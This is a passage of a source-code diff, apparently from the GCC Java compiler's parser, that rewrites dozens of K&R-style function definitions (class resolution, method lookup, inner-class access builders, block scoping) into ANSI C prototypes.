vcc_list; static int -verify_constructor_circularity (meth, current) - tree meth, current; +verify_constructor_circularity (tree meth, tree current) { tree c; @@ -4865,8 +4807,7 @@ verify_constructor_circularity (meth, cu /* Check modifiers that can be declared but exclusively */ static void -check_modifiers_consistency (flags) - int flags; +check_modifiers_consistency (int flags) { int acc_count = 0; tree cl = NULL_TREE; @@ -4890,8 +4831,7 @@ check_modifiers_consistency (flags) /* Check the methode header METH for abstract specifics features */ static void -check_abstract_method_header (meth) - tree meth; +check_abstract_method_header (tree meth) { int flags = get_access_flags_from_decl (meth); @@ -4912,8 +4852,7 @@ check_abstract_method_header (meth) incomplete types. */ static tree -method_declarator (id, list) - tree id, list; +method_declarator (tree id, tree list) { tree arg_types = NULL_TREE, current, node; tree meth = make_node (FUNCTION_TYPE); @@ -5010,9 +4949,7 @@ method_declarator (id, list) } static int -unresolved_type_p (wfl, returned) - tree wfl; - tree *returned; +unresolved_type_p (tree wfl, tree *returned) { if (TREE_CODE (wfl) == EXPR_WITH_FILE_LOCATION) @@ -5038,8 +4975,7 @@ unresolved_type_p (wfl, returned) qualification from the current package definition. */ static tree -parser_qualified_classname (name) - tree name; +parser_qualified_classname (tree name) { tree nested_class_name; @@ -5056,8 +4992,7 @@ parser_qualified_classname (name) everything is OK. */ static int -parser_check_super_interface (super_decl, this_decl, this_wfl) - tree super_decl, this_decl, this_wfl; +parser_check_super_interface (tree super_decl, tree this_decl, tree this_wfl) { tree super_type = TREE_TYPE (super_decl); @@ -5091,8 +5026,7 @@ parser_check_super_interface (super_decl 0 if everthing is OK. */ static int -parser_check_super (super_decl, this_decl, wfl) - tree super_decl, this_decl, wfl; +parser_check_super (tree super_decl, tree this_decl, tree wfl) { tree super_type = TREE_TYPE (super_decl); @@ -5130,8 +5064,7 @@ parser_check_super (super_decl, this_dec CTXP list of type dependency list. */ static void -create_jdep_list (ctxp) - struct parser_ctxt *ctxp; +create_jdep_list (struct parser_ctxt *ctxp) { jdeplist *new = xmalloc (sizeof (jdeplist)); new->first = new->last = NULL; @@ -5140,8 +5073,7 @@ create_jdep_list (ctxp) } static jdeplist * -reverse_jdep_list (ctxp) - struct parser_ctxt *ctxp; +reverse_jdep_list (struct parser_ctxt *ctxp) { register jdeplist *prev = NULL, *current, *next; for (current = ctxp->classd_list; current; current = next) @@ -5158,8 +5090,7 @@ reverse_jdep_list (ctxp) registered again. */ static tree -obtain_incomplete_type (type_name) - tree type_name; +obtain_incomplete_type (tree type_name) { tree ptr = NULL_TREE, name; @@ -5184,9 +5115,7 @@ obtain_incomplete_type (type_name) manner. */ static tree -register_incomplete_type (kind, wfl, decl, ptr) - int kind; - tree wfl, decl, ptr; +register_incomplete_type (int kind, tree wfl, tree decl, tree ptr) { jdep *new = xmalloc (sizeof (jdep)); @@ -5225,9 +5154,7 @@ register_incomplete_type (kind, wfl, dec otherwise. */ static tree -check_inner_circular_reference (source, target) - tree source; - tree target; +check_inner_circular_reference (tree source, tree target) { tree basetype_vec = TYPE_BINFO_BASETYPES (source); tree ctx, cl; @@ -5273,8 +5200,7 @@ check_inner_circular_reference (source, otherwise. TYPE can be an interface or a class. */ static tree -check_circular_reference (type) - tree type; +check_circular_reference (tree type) { tree basetype_vec = TYPE_BINFO_BASETYPES (type); int i; @@ -5300,7 +5226,7 @@ check_circular_reference (type) } void -java_check_circular_reference () +java_check_circular_reference (void) { tree current; for (current = ctxp->class_list; current; current = TREE_CHAIN (current)) @@ -5326,10 +5252,8 @@ java_check_circular_reference () finit$. */ static tree -build_alias_initializer_parameter_list (mode, class_type, parm, artificial) - int mode; - tree class_type, parm; - int *artificial; +build_alias_initializer_parameter_list (int mode, tree class_type, tree parm, + int *artificial) { tree field; tree additional_parms = NULL_TREE; @@ -5407,8 +5331,7 @@ build_alias_initializer_parameter_list ( enforced. This is the case for anonymous classes. */ static tree -craft_constructor (class_decl, args) - tree class_decl, args; +craft_constructor (tree class_decl, tree args) { tree class_type = TREE_TYPE (class_decl); tree parm = NULL_TREE; @@ -5466,7 +5389,7 @@ craft_constructor (class_decl, args) compilation triggered this one to be simply loaded. */ void -java_fix_constructors () +java_fix_constructors (void) { tree current; @@ -5500,8 +5423,7 @@ java_fix_constructors () about the class processed currently. */ void -safe_layout_class (class) - tree class; +safe_layout_class (tree class) { tree save_current_class = current_class; const char *save_input_filename = input_filename; @@ -5515,8 +5437,7 @@ safe_layout_class (class) } static tree -jdep_resolve_class (dep) - jdep *dep; +jdep_resolve_class (jdep *dep) { tree decl; @@ -5548,7 +5469,7 @@ jdep_resolve_class (dep) /* Complete unsatisfied class declaration and their dependencies */ void -java_complete_class () +java_complete_class (void) { tree cclass; jdeplist *cclassd; @@ -5696,8 +5617,7 @@ java_complete_class () array. */ static tree -resolve_class (enclosing, class_type, decl, cl) - tree enclosing, class_type, decl, cl; +resolve_class (tree enclosing, tree class_type, tree decl, tree cl) { tree tname = TYPE_NAME (class_type); tree resolved_type = TREE_TYPE (class_type); @@ -5747,8 +5667,7 @@ resolve_class (enclosing, class_type, de qualify_and_find. */ tree -do_resolve_class (enclosing, class_type, decl, cl) - tree enclosing, class_type, decl, cl; +do_resolve_class (tree enclosing, tree class_type, tree decl, tree cl) { tree new_class_decl = NULL_TREE, super = NULL_TREE; tree saved_enclosing_type = enclosing ? TREE_TYPE (enclosing) : NULL_TREE; @@ -5901,8 +5820,7 @@ do_resolve_class (enclosing, class_type, } static tree -qualify_and_find (class_type, package, name) - tree class_type, package, name; +qualify_and_find (tree class_type, tree package, tree name) { tree new_qualified = merge_qualified_name (package, name); tree new_class_decl; @@ -5925,9 +5843,7 @@ qualify_and_find (class_type, package, n called when type resolution is necessary during the walk pass. */ static tree -resolve_and_layout (something, cl) - tree something; - tree cl; +resolve_and_layout (tree something, tree cl) { tree decl, decl_type; @@ -5988,8 +5904,7 @@ resolve_and_layout (something, cl) layout. The current parsing context is saved and restored */ static tree -resolve_no_layout (name, cl) - tree name, cl; +resolve_no_layout (tree name, tree cl) { tree ptr, decl; BUILD_PTR_FROM_NAME (ptr, name); @@ -6005,8 +5920,7 @@ resolve_no_layout (name, cl) use an identifier tree. */ static const char * -purify_type_name (name) - const char *name; +purify_type_name (const char *name) { int len = strlen (name); int bracket_found; @@ -6024,8 +5938,7 @@ purify_type_name (name) /* The type CURRENT refers to can't be found. We print error messages. */ static void -complete_class_report_errors (dep) - jdep *dep; +complete_class_report_errors (jdep *dep) { const char *name; @@ -6091,8 +6004,7 @@ complete_class_report_errors (dep) */ static const char * -get_printable_method_name (decl) - tree decl; +get_printable_method_name (tree decl) { const char *to_return; tree name = NULL_TREE; @@ -6115,8 +6027,7 @@ get_printable_method_name (decl) function it's a FWL, so we can track errors more accurately.) */ static int -check_method_redefinition (class, method) - tree class, method; +check_method_redefinition (tree class, tree method) { tree redef, sig; @@ -6146,9 +6057,8 @@ check_method_redefinition (class, method /* Return 1 if check went ok, 0 otherwise. */ static int -check_abstract_method_definitions (do_interface, class_decl, type) - int do_interface; - tree class_decl, type; +check_abstract_method_definitions (int do_interface, tree class_decl, + tree type) { tree class = TREE_TYPE (class_decl); tree method, end_type; @@ -6242,8 +6152,7 @@ check_abstract_method_definitions (do_in methods. */ static void -java_check_abstract_method_definitions (class_decl) - tree class_decl; +java_check_abstract_method_definitions (tree class_decl) { tree class = TREE_TYPE (class_decl); tree super, vector; @@ -6273,8 +6182,7 @@ java_check_abstract_method_definitions ( safe to build a method signature or not. */ static int -check_method_types_complete (decl) - tree decl; +check_method_types_complete (tree decl) { tree type = TREE_TYPE (decl); tree args; @@ -6295,8 +6203,7 @@ check_method_types_complete (decl) /* Visible interface to check methods contained in CLASS_DECL */ void -java_check_methods (class_decl) - tree class_decl; +java_check_methods (tree class_decl) { if (CLASS_METHOD_CHECKED_P (TREE_TYPE (class_decl))) return; @@ -6315,8 +6222,7 @@ java_check_methods (class_decl) declaration. */ static void -java_check_regular_methods (class_decl) - tree class_decl; +java_check_regular_methods (tree class_decl) { int saw_constructor = ANONYMOUS_CLASS_P (TREE_TYPE (class_decl)); tree method; @@ -6490,8 +6396,7 @@ java_check_regular_methods (class_decl) is incompatible with the `throws' clause of FOUND (if any). */ static void -check_throws_clauses (method, method_wfl, found) - tree method, method_wfl, found; +check_throws_clauses (tree method, tree method_wfl, tree found) { tree mthrows, fthrows; @@ -6525,8 +6430,7 @@ check_throws_clauses (method, method_wfl /* Check abstract method of interface INTERFACE */ static void -java_check_abstract_methods (interface_decl) - tree interface_decl; +java_check_abstract_methods (tree interface_decl) { int i, n; tree method, basetype_vec, found; @@ -6594,8 +6498,7 @@ java_check_abstract_methods (interface_d signature. Return a matching method only if their types differ. */ static tree -lookup_java_interface_method2 (class, method_decl) - tree class, method_decl; +lookup_java_interface_method2 (tree class, tree method_decl) { int i, n; tree basetype_vec = TYPE_BINFO_BASETYPES (class), to_return; @@ -6627,9 +6530,7 @@ lookup_java_interface_method2 (class, me matching method only if their types differ. */ static tree -lookup_java_method2 (clas, method_decl, do_interface) - tree clas, method_decl; - int do_interface; +lookup_java_method2 (tree clas, tree method_decl, int do_interface) { tree method, method_signature, method_name, method_type, name; @@ -6662,8 +6563,7 @@ lookup_java_method2 (clas, method_decl, static GTY(()) tree cl_v; static tree -lookup_cl (decl) - tree decl; +lookup_cl (tree decl) { char *line, *found; @@ -6692,8 +6592,7 @@ lookup_cl (decl) /* Look for a simple name in the single-type import list */ static tree -find_name_in_single_imports (name) - tree name; +find_name_in_single_imports (tree name) { tree node; @@ -6707,7 +6606,7 @@ find_name_in_single_imports (name) /* Process all single-type import. */ static int -process_imports () +process_imports (void) { tree import; int error_found; @@ -6766,9 +6665,7 @@ process_imports () statement. */ static void -find_in_imports (enclosing_type, class_type) - tree enclosing_type; - tree class_type; +find_in_imports (tree enclosing_type, tree class_type) { tree import = (enclosing_type ? TYPE_IMPORT_LIST (enclosing_type) : ctxp->import_list); @@ -6785,9 +6682,7 @@ find_in_imports (enclosing_type, class_t } static int -note_possible_classname (name, len) - const char *name; - int len; +note_possible_classname (const char *name, int len) { tree node; if (len > 5 && strncmp (&name [len-5], ".java", 5) == 0) @@ -6807,8 +6702,7 @@ note_possible_classname (name, len) directory. */ static void -read_import_dir (wfl) - tree wfl; +read_import_dir (tree wfl) { tree package_id = EXPR_WFL_NODE (wfl); const char *package_name = IDENTIFIER_POINTER (package_id); @@ -6929,9 +6823,7 @@ read_import_dir (wfl) entire list, to detected potential double definitions. */ static int -find_in_imports_on_demand (enclosing_type, class_type) - tree enclosing_type; - tree class_type; +find_in_imports_on_demand (tree enclosing_type, tree class_type) { tree class_type_name = TYPE_NAME (class_type); tree import = (enclosing_type ? TYPE_IMPORT_DEMAND_LIST (enclosing_type) : @@ -7031,8 +6923,7 @@ find_in_imports_on_demand (enclosing_typ particular package is added only once. */ static void -register_package (name) - tree name; +register_package (tree name) { static htab_t pht; void **e; @@ -7049,8 +6940,7 @@ register_package (name) } static tree -resolve_package (pkg, next, type_name) - tree pkg, *next, *type_name; +resolve_package (tree pkg, tree *next, tree *type_name) { tree current; tree decl = NULL_TREE; @@ -7091,8 +6981,7 @@ resolve_package (pkg, next, type_name) access is being attempted. */ static void -check_inner_class_access (decl, enclosing_decl, cl) - tree decl, enclosing_decl, cl; +check_inner_class_access (tree decl, tree enclosing_decl, tree cl) { const char *access; tree enclosing_decl_type; @@ -7207,10 +7096,7 @@ check_pkg_class_access (tree class_name, /* Local variable declaration. */ static void -declare_local_variables (modifier, type, vlist) - int modifier; - tree type; - tree vlist; +declare_local_variables (int modifier, tree type, tree vlist) { tree decl, current, saved_type; tree type_wfl = NULL_TREE; @@ -7318,8 +7204,7 @@ declare_local_variables (modifier, type, /* Called during parsing. Build decls from argument list. */ static void -source_start_java_method (fndecl) - tree fndecl; +source_start_java_method (tree fndecl) { tree tem; tree parm_decl; @@ -7374,10 +7259,8 @@ source_start_java_method (fndecl) /* Called during parsing. Creates an artificial method declaration. */ static tree -create_artificial_method (class, flags, type, name, args) - tree class; - int flags; - tree type, name, args; +create_artificial_method (tree class, int flags, tree type, + tree name, tree args) { tree mdecl; @@ -7395,8 +7278,7 @@ create_artificial_method (class, flags, /* Starts the body if an artificial method. */ static void -start_artificial_method_body (mdecl) - tree mdecl; +start_artificial_method_body (tree mdecl) { DECL_SOURCE_LINE (mdecl) = 1; DECL_SOURCE_LINE_MERGE (mdecl, 1); @@ -7405,8 +7287,7 @@ start_artificial_method_body (mdecl) } static void -end_artificial_method_body (mdecl) - tree mdecl; +end_artificial_method_body (tree mdecl) { /* exit_block modifies DECL_FUNCTION_BODY (current_function_decl). It has to be evaluated first. (if mdecl is current_function_decl, @@ -7419,9 +7300,7 @@ end_artificial_method_body (mdecl) /* Dump a tree of some kind. This is a convenience wrapper for the dump_* functions in tree-dump.c. */ static void -dump_java_tree (phase, t) - enum tree_dump_index phase; - tree t; +dump_java_tree (enum tree_dump_index phase, tree t) { FILE *stream; int flags; @@ -7438,7 +7317,7 @@ dump_java_tree (phase, t) /* Terminate a function and expand its body. */ static void -source_end_java_method () +source_end_java_method (void) { tree fndecl = current_function_decl; @@ -7491,8 +7370,7 @@ source_end_java_method () expression second operand if necessary. */ tree -java_method_add_stmt (fndecl, expr) - tree fndecl, expr; +java_method_add_stmt (tree fndecl, tree expr) { if (!GET_CURRENT_BLOCK (fndecl)) return NULL_TREE; @@ -7500,8 +7378,7 @@ java_method_add_stmt (fndecl, expr) } static tree -add_stmt_to_block (b, type, stmt) - tree b, type, stmt; +add_stmt_to_block (tree b, tree type, tree stmt) { tree body = BLOCK_EXPR_BODY (b), c; @@ -7520,8 +7397,7 @@ add_stmt_to_block (b, type, stmt) COMPOUND_EXPR and add STMT to it. */ static tree -add_stmt_to_compound (existing, type, stmt) - tree existing, type, stmt; +add_stmt_to_compound (tree existing, tree type, tree stmt) { /* Keep track of this for inlining. */ if (current_function_decl) @@ -7533,7 +7409,7 @@ add_stmt_to_compound (existing, type, st return stmt; } -void java_layout_seen_class_methods () +void java_layout_seen_class_methods (void) { tree previous_list = all_class_list; tree end = NULL_TREE; @@ -7557,7 +7433,7 @@ void java_layout_seen_class_methods () static GTY(()) tree stop_reordering; void -java_reorder_fields () +java_reorder_fields (void) { tree current; @@ -7602,7 +7478,7 @@ java_reorder_fields () classes */ void -java_layout_classes () +java_layout_classes (void) { tree current; int save_error_count = java_error_count; @@ -7639,7 +7515,7 @@ java_layout_classes () generation. */ static void -java_complete_expand_classes () +java_complete_expand_classes (void) { tree current; @@ -7654,8 +7530,7 @@ java_complete_expand_classes () classes, if any. */ static void -java_complete_expand_class (outer) - tree outer; +java_complete_expand_class (tree outer) { tree inner_list; @@ -7681,8 +7556,7 @@ java_complete_expand_class (outer) constructors and then . */ static void -java_complete_expand_methods (class_decl) - tree class_decl; +java_complete_expand_methods (tree class_decl) { tree clinit, decl, first_decl; @@ -7783,8 +7657,7 @@ java_complete_expand_methods (class_decl safely used in some other methods/constructors. */ static tree -maybe_generate_pre_expand_clinit (class_type) - tree class_type; +maybe_generate_pre_expand_clinit (tree class_type) { tree current, mdecl; @@ -7843,8 +7716,7 @@ maybe_generate_pre_expand_clinit (class_ MODIFY_EXPR with a constant value. */ static int -analyze_clinit_body (this_class, bbody) - tree this_class, bbody; +analyze_clinit_body (tree this_class, tree bbody) { while (bbody) switch (TREE_CODE (bbody)) @@ -7892,8 +7764,7 @@ analyze_clinit_body (this_class, bbody) is empty. Return 1 if was discarded, 0 otherwise. */ static int -maybe_yank_clinit (mdecl) - tree mdecl; +maybe_yank_clinit (tree mdecl) { tree type, current; tree fbody, bbody; @@ -7966,8 +7837,7 @@ maybe_yank_clinit (mdecl) expansion of mdecl's body. */ static void -start_complete_expand_method (mdecl) - tree mdecl; +start_complete_expand_method (tree mdecl) { tree tem; @@ -8000,8 +7870,7 @@ start_complete_expand_method (mdecl) /* Complete and expand a method. */ static void -java_complete_expand_method (mdecl) - tree mdecl; +java_complete_expand_method (tree mdecl) { tree fbody, block_body, exception_copy; @@ -8105,8 +7974,7 @@ java_complete_expand_method (mdecl) /* For with each class for which there's code to generate. */ static void -java_expand_method_bodies (class) - tree class; +java_expand_method_bodies (tree class) { tree decl; for (decl = TYPE_METHODS (class); decl; decl = TREE_CHAIN (decl)) @@ -8178,8 +8046,7 @@ java_expand_method_bodies (class) be later turned into a write by calling outer_field_access_fix. */ static tree -build_outer_field_access (id, decl) - tree id, decl; +build_outer_field_access (tree id, tree decl) { tree access = NULL_TREE; tree ctx = TREE_TYPE (DECL_CONTEXT (TYPE_NAME (current_class))); @@ -8228,8 +8095,7 @@ build_outer_field_access (id, decl) access. */ static int -outer_field_access_p (type, decl) - tree type, decl; +outer_field_access_p (tree type, tree decl) { if (!INNER_CLASS_TYPE_P (type) || TREE_CODE (decl) != FIELD_DECL @@ -8267,8 +8133,8 @@ outer_field_access_p (type, decl) call if necessary. */ static int -outer_field_expanded_access_p (node, name, arg_type, arg) - tree node, *name, *arg_type, *arg; +outer_field_expanded_access_p (tree node, tree *name, tree *arg_type, + tree *arg) { int identified = 0; @@ -8314,8 +8180,7 @@ outer_field_expanded_access_p (node, nam be identified. */ static tree -outer_field_access_fix (wfl, node, rhs) - tree wfl, node, rhs; +outer_field_access_fix (tree wfl, tree node, tree rhs) { tree name, arg_type, arg; @@ -8335,9 +8200,8 @@ outer_field_access_fix (wfl, node, rhs) read access. */ static tree -build_outer_field_access_expr (lc, type, access_method_name, arg1, arg2) - int lc; - tree type, access_method_name, arg1, arg2; +build_outer_field_access_expr (int lc, tree type, tree access_method_name, + tree arg1, tree arg2) { tree args, cn, access; @@ -8354,7 +8218,7 @@ build_outer_field_access_expr (lc, type, } static tree -build_new_access_id () +build_new_access_id (void) { static int access_n_counter = 1; char buffer [128]; @@ -8378,8 +8242,7 @@ build_new_access_id () */ static tree -build_outer_field_access_methods (decl) - tree decl; +build_outer_field_access_methods (tree decl) { tree id, args, stmt, mdecl; @@ -8429,8 +8292,8 @@ build_outer_field_access_methods (decl) /* Build an field access method NAME. */ static tree -build_outer_field_access_method (class, type, name, args, body) - tree class, type, name, args, body; +build_outer_field_access_method (tree class, tree type, tree name, + tree args, tree body) { tree saved_current_function_decl, mdecl; @@ -8454,8 +8317,7 @@ build_outer_field_access_method (class, certain kinds of method invocation from inner classes. */ static tree -build_outer_method_access_method (decl) - tree decl; +build_outer_method_access_method (tree decl) { tree saved_current_function_decl, mdecl; tree args = NULL_TREE, call_args = NULL_TREE; @@ -8544,9 +8406,7 @@ build_outer_method_access_method (decl) for example build_outer_field_access). */ static tree -build_access_to_thisn (from, to, lc) - tree from, to; - int lc; +build_access_to_thisn (tree from, tree to, int lc) { tree access = NULL_TREE; @@ -8588,8 +8448,7 @@ build_access_to_thisn (from, to, lc) attribute so that they can't be referred to directly. */ static tree -maybe_build_thisn_access_method (type) - tree type; +maybe_build_thisn_access_method (tree type) { tree mdecl, args, stmt, rtype; tree saved_current_function_decl; @@ -8634,8 +8493,7 @@ static GTY(()) tree saved_thisn; static GTY(()) tree saved_type; static tree -build_current_thisn (type) - tree type; +build_current_thisn (tree type) { static int saved_i = -1; static int saved_type_i = 0; @@ -8674,7 +8532,7 @@ build_current_thisn (type) form used is `this.this$ = this$;'. */ static tree -build_thisn_assign () +build_thisn_assign (void) { if (current_class && PURE_INNER_CLASS_TYPE_P (current_class)) { @@ -8703,8 +8561,7 @@ static GTY(()) tree get_message_wfl; static GTY(()) tree type_parm_wfl; static tree -build_dot_class_method (class) - tree class; +build_dot_class_method (tree class) { #define BWF(S) build_wfl_node (get_identifier ((S))) #define MQN(X,Y) make_qualified_name ((X), (Y), 0) @@ -8772,8 +8629,7 @@ build_dot_class_method (class) } static tree -build_dot_class_method_invocation (type) - tree type; +build_dot_class_method_invocation (tree type) { tree sig_id, s; @@ -8799,8 +8655,7 @@ build_dot_class_method_invocation (type) necessary. */ static void -fix_constructors (mdecl) - tree mdecl; +fix_constructors (tree mdecl) { tree iii; /* Instance Initializer Invocation */ tree body = DECL_FUNCTION_BODY (mdecl); @@ -8920,8 +8775,7 @@ fix_constructors (mdecl) for something that has the same signature. */ static int -verify_constructor_super (mdecl) - tree mdecl; +verify_constructor_super (tree mdecl) { tree class = CLASSTYPE_SUPER (current_class); int super_inner = PURE_INNER_CLASS_TYPE_P (class); @@ -8973,7 +8827,7 @@ verify_constructor_super (mdecl) static GTY(()) tree reversed_class_list; void -java_expand_classes () +java_expand_classes (void) { int save_error_count = 0; static struct parser_ctxt *cur_ctxp = NULL; @@ -9096,9 +8950,7 @@ java_expand_classes () separating `.' operator. */ static tree -make_qualified_primary (primary, right, location) - tree primary, right; - int location; +make_qualified_primary (tree primary, tree right, int location) { tree wfl; @@ -9122,8 +8974,7 @@ make_qualified_primary (primary, right, /* Simple merge of two name separated by a `.' */ static tree -merge_qualified_name (left, right) - tree left, right; +merge_qualified_name (tree left, tree right) { tree node; if (!left && !right) @@ -9151,9 +9002,7 @@ merge_qualified_name (left, right) inherited from the location information of the `.' operator. */ static tree -make_qualified_name (left, right, location) - tree left, right; - int location; +make_qualified_name (tree left, tree right, int location) { #ifdef USE_COMPONENT_REF tree node = build (COMPONENT_REF, NULL_TREE, left, right); @@ -9187,8 +9036,7 @@ make_qualified_name (left, right, locati last identifier is removed from the linked list */ static tree -cut_identifier_in_qualified (wfl) - tree wfl; +cut_identifier_in_qualified (tree wfl) { tree q; tree previous = NULL_TREE; @@ -9207,9 +9055,7 @@ cut_identifier_in_qualified (wfl) /* Resolve the expression name NAME. Return its decl. */ static tree -resolve_expression_name (id, orig) - tree id; - tree *orig; +resolve_expression_name (tree id, tree *orig) { tree name = EXPR_WFL_NODE (id); tree decl; @@ -9311,8 +9157,7 @@ resolve_expression_name (id, orig) } static void -static_ref_err (wfl, field_id, class_type) - tree wfl, field_id, class_type; +static_ref_err (tree wfl, tree field_id, tree class_type) { parse_error_context (wfl, @@ -9327,9 +9172,7 @@ static_ref_err (wfl, field_id, class_typ recipient's address can be null. */ static tree -resolve_field_access (qual_wfl, field_decl, field_type) - tree qual_wfl; - tree *field_decl, *field_type; +resolve_field_access (tree qual_wfl, tree *field_decl, tree *field_type) { int is_static = 0; tree field_ref; @@ -9392,8 +9235,7 @@ resolve_field_access (qual_wfl, field_de NODE. */ static tree -strip_out_static_field_access_decl (node) - tree node; +strip_out_static_field_access_decl (tree node) { if (TREE_CODE (node) == COMPOUND_EXPR) { @@ -9416,9 +9258,8 @@ strip_out_static_field_access_decl (node /* 6.5.5.2: Qualified Expression Names */ static int -resolve_qualified_expression_name (wfl, found_decl, where_found, type_found) - tree wfl; - tree *found_decl, *type_found, *where_found; +resolve_qualified_expression_name (tree wfl, tree *found_decl, + tree *where_found, tree *type_found) { int from_type = 0; /* Field search initiated from a type */ int from_super = 0, from_cast = 0, from_qualified_this = 0; @@ -9966,10 +9807,7 @@ resolve_qualified_expression_name (wfl, method. */ static int -not_accessible_p (reference, member, where, from_super) - tree reference, member; - tree where; - int from_super; +not_accessible_p (tree reference, tree member, tree where, int from_super) { int access_flag = get_access_flags_from_decl (member); @@ -10041,8 +9879,7 @@ not_accessible_p (reference, member, whe /* Test deprecated decl access. */ static void -check_deprecation (wfl, decl) - tree wfl, decl; +check_deprecation (tree wfl, tree decl) { const char *file = DECL_SOURCE_FILE (decl); /* Complain if the field is deprecated and the file it was defined @@ -10082,8 +9919,7 @@ check_deprecation (wfl, decl) static GTY(()) tree cicp_cache; static int -class_in_current_package (class) - tree class; +class_in_current_package (tree class) { int qualified_flag; tree left; @@ -10119,8 +9955,7 @@ class_in_current_package (class) done only if certain conditions meet. */ static tree -maybe_access_field (decl, where, type) - tree decl, where, type; +maybe_access_field (tree decl, tree where, tree type) { if (TREE_CODE (decl) == FIELD_DECL && decl != current_this && !FIELD_STATIC (decl)) @@ -10135,12 +9970,8 @@ maybe_access_field (decl, where, type) used. IS_STATIC is set to 1 if the invoked function is static. */ static tree -patch_method_invocation (patch, primary, where, from_super, - is_static, ret_decl) - tree patch, primary, where; - int from_super; - int *is_static; - tree *ret_decl; +patch_method_invocation (tree patch, tree primary, tree where, int from_super, + int *is_static, tree *ret_decl) { tree wfl = TREE_OPERAND (patch, 0); tree args = TREE_OPERAND (patch, 1); @@ -10549,8 +10380,8 @@ patch_method_invocation (patch, primary, non static method. Return 1 if it's the case, 0 otherwise. */ static int -check_for_static_method_reference (wfl, node, method, where, primary) - tree wfl, node, method, where, primary; +check_for_static_method_reference (tree wfl, tree node, tree method, + tree where, tree primary) { if (METHOD_STATIC (current_function_decl) && !METHOD_STATIC (method) && !primary && !CALL_CONSTRUCTOR_P (node)) @@ -10572,9 +10403,7 @@ check_for_static_method_reference (wfl, returned. */ static int -maybe_use_access_method (is_super_init, mdecl, this_arg) - int is_super_init; - tree *mdecl, *this_arg; +maybe_use_access_method (int is_super_init, tree *mdecl, tree *this_arg) { tree ctx; tree md = *mdecl, ta = *this_arg; @@ -10642,8 +10471,7 @@ maybe_use_access_method (is_super_init, mode. */ static tree -patch_invoke (patch, method, args) - tree patch, method, args; +patch_invoke (tree patch, tree method, tree args) { tree dtable, func; tree original_call, t, ta; @@ -10801,9 +10629,7 @@ patch_invoke (patch, method, args) } static int -invocation_mode (method, super) - tree method; - int super; +invocation_mode (tree method, int super) { int access = get_access_flags_from_decl (method); @@ -10834,10 +10660,7 @@ invocation_mode (method, super) 15.11.2 (Compile-Time Step 2) */ static tree -lookup_method_invoke (lc, cl, class, name, arg_list) - int lc; - tree cl; - tree class, name, arg_list; +lookup_method_invoke (int lc, tree cl, tree class, tree name, tree arg_list) { tree atl = end_params_node; /* Arg Type List */ tree method, signature, list, node; @@ -10920,9 +10743,8 @@ lookup_method_invoke (lc, cl, class, nam when we're looking for a constructor. */ static tree -find_applicable_accessible_methods_list (lc, class, name, arglist) - int lc; - tree class, name, arglist; +find_applicable_accessible_methods_list (int lc, tree class, tree name, + tree arglist) { static htab_t searched_classes; static int search_not_done = 0; @@ -11040,10 +10862,8 @@ find_applicable_accessible_methods_list /* Effectively search for the appropriate method in method */ static void -search_applicable_methods_list (lc, method, name, arglist, list, all_list) - int lc; - tree method, name, arglist; - tree *list, *all_list; +search_applicable_methods_list (int lc, tree method, tree name, tree arglist, + tree *list, tree *all_list) { for (; method; method = TREE_CHAIN (method)) { @@ -11071,8 +10891,7 @@ search_applicable_methods_list (lc, meth /* 15.11.2.2 Choose the Most Specific Method */ static tree -find_most_specific_methods_list (list) - tree list; +find_most_specific_methods_list (tree list) { int max = 0; int abstract, candidates; @@ -11162,8 +10981,7 @@ static GTY(()) tree m2_arg_value; static GTY(()) tree m2_arg_cache; static int -argument_types_convertible (m1, m2_or_arglist) - tree m1, m2_or_arglist; +argument_types_convertible (tree m1, tree m2_or_arglist) { register tree m1_arg, m2_arg; @@ -11203,8 +11021,7 @@ argument_types_convertible (m1, m2_or_ar /* Qualification routines */ static void -qualify_ambiguous_name (id) - tree id; +qualify_ambiguous_name (tree id) { tree qual, qual_wfl, name = NULL_TREE, decl, ptr_type = NULL_TREE, saved_current_class; @@ -11436,8 +11253,7 @@ qualify_ambiguous_name (id) } static int -breakdown_qualified (left, right, source) - tree *left, *right, source; +breakdown_qualified (tree *left, tree *right, tree source) { char *p, *base; int l = IDENTIFIER_LENGTH (source); @@ -11465,8 +11281,7 @@ breakdown_qualified (left, right, source /* Return TRUE if two classes are from the same package. */ static int -in_same_package (name1, name2) - tree name1, name2; +in_same_package (tree name1, tree name2) { tree tmp; tree pkg1; @@ -11496,8 +11311,7 @@ in_same_package (name1, name2) Same as java_complete_lhs, but does resolve static finals to values. */ static tree -java_complete_tree (node) - tree node; +java_complete_tree (tree node) { node = java_complete_lhs (node); if (JDECL_P (node) && CLASS_FINAL_VARIABLE_P (node) @@ -11512,8 +11326,7 @@ java_complete_tree (node) } static tree -java_stabilize_reference (node) - tree node; +java_stabilize_reference (tree node) { if (TREE_CODE (node) == COMPOUND_EXPR) { @@ -11531,8 +11344,7 @@ java_stabilize_reference (node) Same as java_complete_tree, but does not resolve static finals to values. */ static tree -java_complete_lhs (node) - tree node; +java_complete_lhs (tree node) { tree nn, cn, wfl_op1, wfl_op2, wfl_op3; int flag; @@ -12293,8 +12105,7 @@ java_complete_lhs (node) error was found. */ static int -complete_function_arguments (node) - tree node; +complete_function_arguments (tree node) { int flag = 0; tree cn; @@ -12327,9 +12138,7 @@ complete_function_arguments (node) debugable. */ static tree -build_debugable_stmt (location, stmt) - int location; - tree stmt; +build_debugable_stmt (int location, tree stmt) { if (TREE_CODE (stmt) != EXPR_WITH_FILE_LOCATION) { @@ -12341,8 +12150,8 @@ build_debugable_stmt (location, stmt) } static tree -build_expr_block (body, decls) - tree body, decls; +build_expr_block (tree body, tree decls) + { tree node = make_node (BLOCK); BLOCK_EXPR_DECLS (node) = decls; @@ -12357,7 +12166,7 @@ build_expr_block (body, decls) function block chain */ static tree -enter_block () +enter_block (void) { tree b = build_expr_block (NULL_TREE, NULL_TREE); @@ -12391,7 +12200,7 @@ enter_block () the block being exited isn't the method's top level one. */ static tree -exit_block () +exit_block (void) { tree b; if (current_function_decl) @@ -12415,8 +12224,7 @@ exit_block () scoping rules. */ static tree -lookup_name_in_blocks (name) - tree name; +lookup_name_in_blocks (tree name) { tree b = GET_CURRENT_BLOCK (current_function_decl); @@ -12438,7 +12246,7 @@ lookup_name_in_blocks (name) } static void -maybe_absorb_scoping_blocks () +maybe_absorb_scoping_blocks (void) { while (BLOCK_IS_IMPLICIT (GET_CURRENT_BLOCK (current_function_decl))) { @@ -12456,9 +12264,7 @@ maybe_absorb_scoping_blocks () /* Wrap a non WFL node around a WFL. */ static tree -build_wfl_wrap (node, location) - tree node; - int location; +build_wfl_wrap (tree node, int location) { tree wfl, 